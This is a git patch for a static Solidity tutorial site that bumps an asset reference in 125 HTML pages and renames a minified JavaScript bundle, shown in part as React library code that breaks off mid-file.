From e0be3f5166071c27419de2e35e9197b89a665095 Mon Sep 17 00:00:00 2001 From: t4sk Date: Mon, 16 Dec 2024 15:23:38 +0900 Subject: [PATCH] Updates --- 404.html | 2 +- abi-decode/index.html | 2 +- abi-encode/index.html | 2 +- app/airdrop/index.html | 2 +- app/assembly-bin-exp/index.html | 2 +- app/bi-directional-payment-channel/index.html | 2 +- app/create2/index.html | 2 +- app/crowd-fund/index.html | 2 +- app/deploy-any-contract/index.html | 2 +- app/dutch-auction/index.html | 2 +- app/english-auction/index.html | 2 +- app/erc1155/index.html | 2 +- app/erc20/index.html | 2 +- app/erc721/index.html | 2 +- app/ether-wallet/index.html | 2 +- app/gasless-token-transfer/index.html | 2 +- app/iterable-mapping/index.html | 2 +- app/merkle-tree/index.html | 2 +- app/minimal-proxy/index.html | 2 +- app/multi-call/index.html | 2 +- app/multi-delegatecall/index.html | 2 +- app/multi-sig-wallet/index.html | 2 +- app/simple-bytecode-contract/index.html | 2 +- app/time-lock/index.html | 2 +- .../index.html | 2 +- app/upgradeable-proxy/index.html | 2 +- app/write-to-any-slot/index.html | 2 +- array/index.html | 2 +- assembly-error/index.html | 2 +- assembly-if/index.html | 2 +- assembly-loop/index.html | 2 +- assembly-math/index.html | 2 +- assembly-variable/index.html | 2 +- .../{index-D_hc1lMe.js => index-BvsQBYKx.js} | 96 +++++++++---------- bitwise/index.html | 2 +- call/index.html | 2 +- calling-contract/index.html | 2 +- constants/index.html | 2 +- constructor/index.html | 2 +- data-locations/index.html | 2 +- defi/chainlink-price-oracle/index.html | 2 +- defi/constant-product-amm/index.html | 2 +- defi/constant-sum-amm/index.html | 2 +- defi/dai-proxy/index.html | 2 +- defi/discrete-staking-rewards/index.html | 2 +- defi/stable-swap-amm/index.html | 2 +- defi/staking-rewards/index.html | 2 +- .../index.html | 2 +- defi/uniswap-v2-flash-swap/index.html | 2 +- .../index.html | 2 +- defi/uniswap-v2/index.html | 2 +- defi/uniswap-v3-flash-swap/index.html | 2 +- defi/uniswap-v3-flash/index.html | 2 +- defi/uniswap-v3-liquidity/index.html | 2 +- defi/uniswap-v3-swap/index.html | 2 +- defi/vault/index.html | 2 +- delegatecall/index.html | 2 +- enum/index.html | 2 +- error/index.html | 2 +- ether-units/index.html | 2 +- events-advanced/index.html | 2 +- events/index.html | 2 +- evm/memory/index.html | 2 +- evm/storage/index.html | 2 +- fallback/index.html | 2 +- first-app/index.html | 2 +- foundry/auth/index.html | 2 +- foundry/basic/index.html | 2 +- foundry/error/index.html | 2 +- foundry/event/index.html | 2 +- foundry/label/index.html | 2 +- foundry/mock-call/index.html | 2 +- foundry/send/index.html | 2 +- foundry/sign/index.html | 2 +- foundry/time/index.html | 2 +- function-modifier/index.html | 2 +- function-selector/index.html | 2 +- function/index.html | 2 +- gas-golf/index.html | 2 +- gas/index.html | 2 +- hacks/accessing-private-data/index.html | 2 +- hacks/block-timestamp-manipulation/index.html | 2 +- hacks/contract-size/index.html | 2 +- hacks/delegatecall/index.html | 2 +- hacks/denial-of-service/index.html | 2 +- .../index.html | 2 +- hacks/front-running/index.html | 2 +- .../index.html | 2 +- hacks/honeypot/index.html | 2 +- hacks/overflow/index.html | 2 +- hacks/phishing-with-tx-origin/index.html | 2 +- hacks/randomness/index.html | 2 +- hacks/re-entrancy/index.html | 2 +- hacks/self-destruct/index.html | 2 +- hacks/signature-replay/index.html | 2 +- hacks/vault-inflation/index.html | 2 +- hacks/weth-permit/index.html | 2 +- hashing/index.html | 2 +- hello-world/index.html | 2 +- if-else/index.html | 2 +- immutable/index.html | 2 +- import/index.html | 2 +- index.html | 2 +- inheritance/index.html | 2 +- interface/index.html | 2 +- library/index.html | 2 +- loop/index.html | 2 +- mapping/index.html | 2 +- new-contract/index.html | 2 +- payable/index.html | 2 +- primitives/index.html | 2 +- sending-ether/index.html | 2 +- .../index.html | 2 +- signature/index.html | 2 +- state-variables/index.html | 2 +- structs/index.html | 2 +- super/index.html | 2 +- tests/echidna/index.html | 2 +- transient-storage/index.html | 2 +- try-catch/index.html | 2 +- unchecked-math/index.html | 2 +- user-defined-value-types/index.html | 2 +- variables/index.html | 2 +- view-and-pure-functions/index.html | 2 +- visibility/index.html | 2 +- 125 files changed, 172 insertions(+), 172 deletions(-) rename assets/{index-D_hc1lMe.js => index-BvsQBYKx.js} (97%) diff --git a/404.html b/404.html index 9f67121c5..520c29134 100644 --- a/404.html +++ b/404.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/abi-decode/index.html b/abi-decode/index.html index 9f67121c5..520c29134 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/abi-encode/index.html b/abi-encode/index.html index 9f67121c5..520c29134 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/airdrop/index.html b/app/airdrop/index.html index 9f67121c5..520c29134 100644 --- a/app/airdrop/index.html +++ b/app/airdrop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index 9f67121c5..520c29134 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index 9f67121c5..520c29134 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/create2/index.html b/app/create2/index.html index 9f67121c5..520c29134 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index 9f67121c5..520c29134 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index 9f67121c5..520c29134 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index 9f67121c5..520c29134 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index 9f67121c5..520c29134 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index 9f67121c5..520c29134 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc20/index.html b/app/erc20/index.html index 9f67121c5..520c29134 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/erc721/index.html b/app/erc721/index.html index 9f67121c5..520c29134 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index 9f67121c5..520c29134 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index 9f67121c5..520c29134 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index 9f67121c5..520c29134 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index 9f67121c5..520c29134 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index 9f67121c5..520c29134 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index 9f67121c5..520c29134 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index 9f67121c5..520c29134 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index 9f67121c5..520c29134 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index 9f67121c5..520c29134 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index 9f67121c5..520c29134 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index 9f67121c5..520c29134 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index 9f67121c5..520c29134 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index 9f67121c5..520c29134 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/array/index.html b/array/index.html index 9f67121c5..520c29134 100644 --- a/array/index.html +++ b/array/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-error/index.html b/assembly-error/index.html index 9f67121c5..520c29134 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-if/index.html b/assembly-if/index.html index 9f67121c5..520c29134 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index 9f67121c5..520c29134 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-math/index.html b/assembly-math/index.html index 9f67121c5..520c29134 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index 9f67121c5..520c29134 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,7 +28,7 @@ gtag("config", "UA-133759045-1") - + diff --git a/assets/index-D_hc1lMe.js b/assets/index-BvsQBYKx.js similarity index 97% rename from assets/index-D_hc1lMe.js rename to assets/index-BvsQBYKx.js index 7d17136b0..ee56f41d9 100644 --- a/assets/index-D_hc1lMe.js +++ b/assets/index-BvsQBYKx.js @@ -6,7 +6,7 @@ function Ag(s,a){for(var n=0;nt||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{zp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?fn(s):""}function Tg(s){switch(s.tag){case 5:return fn(s.type);case 16:return fn("Lazy");case 13:return fn("Suspense");case 19:return fn("SuspenseList");case 0:case 2:case 15:return s=Dp(s.type,!1),s;case 11:return s=Dp(s.type.render,!1),s;case 1:return s=Dp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case mc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case bc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case wc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function Ug(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function Ql(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function At(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||Ql(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var Vn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},_g=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){_g.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Og=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Og[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Ge(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Be=null;function kc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var fe=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof fe!="function")throw Error(w(280));var a=s.stateNode;a&&(a=wp(a),fe(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(th(s)/oh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ks(a),s[a]=n}function hh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Yt=" ",Xt=!1;function Rr(s,a){switch(s){case"keyup":return xh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function zh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Xt=!0,Yt);case"textInput":return s=a.data,s===Yt&&Xt?null:s;default:return null}}function Dh(s,a){if(Da)return s==="compositionend"||!Xc&&Rr(s,a)?(s=Yr(),Kl=fc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ht(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=Ql();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=Ql(s.document)}return a}function Rc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $h(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Fr(n.ownerDocument.documentElement,n)){if(l!==null&&Rc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Kt(n,e);var c=Kt(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Kn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==Ql(l)||(l=Ea,"selectionStart"in l&&Rc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Kn&&Ln(Kn,l)||(Kn=l,l=$l(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function F(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),Cs=ma(!1),Ra=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function js(s){return s=s.childContextTypes,s!=null}function sp(){S(Cs),S(os)}function Et(s,a,n){if(os.current!==ua)throw Error(w(168));F(os,a),F(Cs,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,Ug(s)||"Unknown",p));return E({},n,l)}function ap(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,Ra=os.current,F(os,s),F(Cs,Cs.current),!0}function Qt(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,S(Cs),S(os),F(os,s)):S(Cs),F(Cs,n)}var Ts=null,kp=!1,le=!1;function Lr(s){Ts===null?Ts=[s]:Ts.push(s)}function iI(s){kp=!0,Lr(s)}function ba(){if(!le&&Ts!==null){le=!0;var s=0,a=K;try{var n=Ts;for(K=1;s>=c,p-=c,Us=1<<32-Ks(a)+p|n<Y?(x=B,B=null):x=B.sibling;var N=j(h,B,C[Y],y);if(N===null){B===null&&(B=x);break}s&&B&&N.alternate===null&&a(h,B),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N,B=x}if(Y===C.length)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;YY?(x=B,B=null):x=B.sibling;var Xs=j(h,B,N.value,y);if(Xs===null){B===null&&(B=x);break}s&&B&&Xs.alternate===null&&a(h,B),g=e(Xs,g,Y),k===null?Z=Xs:k.sibling=Xs,k=Xs,B=x}if(N.done)return n(h,B),J&&Za(h,Y),Z;if(B===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return J&&Za(h,Y),Z}for(B=l(h,B);!N.done;Y++,N=C.next())N=u(B,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&B.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?Z=N:k.sibling=N,k=N);return s&&B.forEach(function(un){return a(h,un)}),J&&Za(h,Y),Z}function G(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var Z=C.key,k=g;k!==null;){if(k.key===Z){if(Z=C.type,Z===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===Z||typeof Z=="object"&&Z!==null&&Z.$$typeof===na&&Lt(Z)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=El(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ge(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,G(h,g,k(C._payload),y)}if(Vn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Gl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=ie(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return G}var on=$r(!0),qr=$r(!1),pp=ma(null),ep=null,Oa=null,Kc=null;function Fc(){Kc=Oa=ep=null}function Mc(s){var a=pp.current;S(pp),s._currentValue=a}function Ee(s,a,n){for(;s!==null;){var l=s.alternate;if((s.childLanes&a)!==a?(s.childLanes|=a,l!==null&&(l.childLanes|=a)):l!==null&&(l.childLanes&a)!==a&&(l.childLanes|=a),s===n)break;s=s.return}}function ln(s,a){ep=s,Kc=Oa=null,s=s.dependencies,s!==null&&s.firstContext!==null&&(s.lanes&a&&(ds=!0),s.firstContext=null)}function Vs(s){var a=s._currentValue;if(Kc!==s)if(s={context:s,memoizedValue:a,next:null},Oa===null){if(ep===null)throw Error(w(308));Oa=s,ep.dependencies={lanes:0,firstContext:s}}else Oa=Oa.next=s;return a}var Ba=null;function Sc(s){Ba===null?Ba=[s]:Ba.push(s)}function si(s,a,n,l){var p=a.interleaved;return p===null?(n.next=n,Sc(a)):(n.next=p.next,p.next=n),a.interleaved=n,$s(s,l)}function $s(s,a){s.lanes|=a;var n=s.alternate;for(n!==null&&(n.lanes|=a),n=s,s=s.return;s!==null;)s.childLanes|=a,n=s.alternate,n!==null&&(n.childLanes|=a),n=s,s=s.return;return 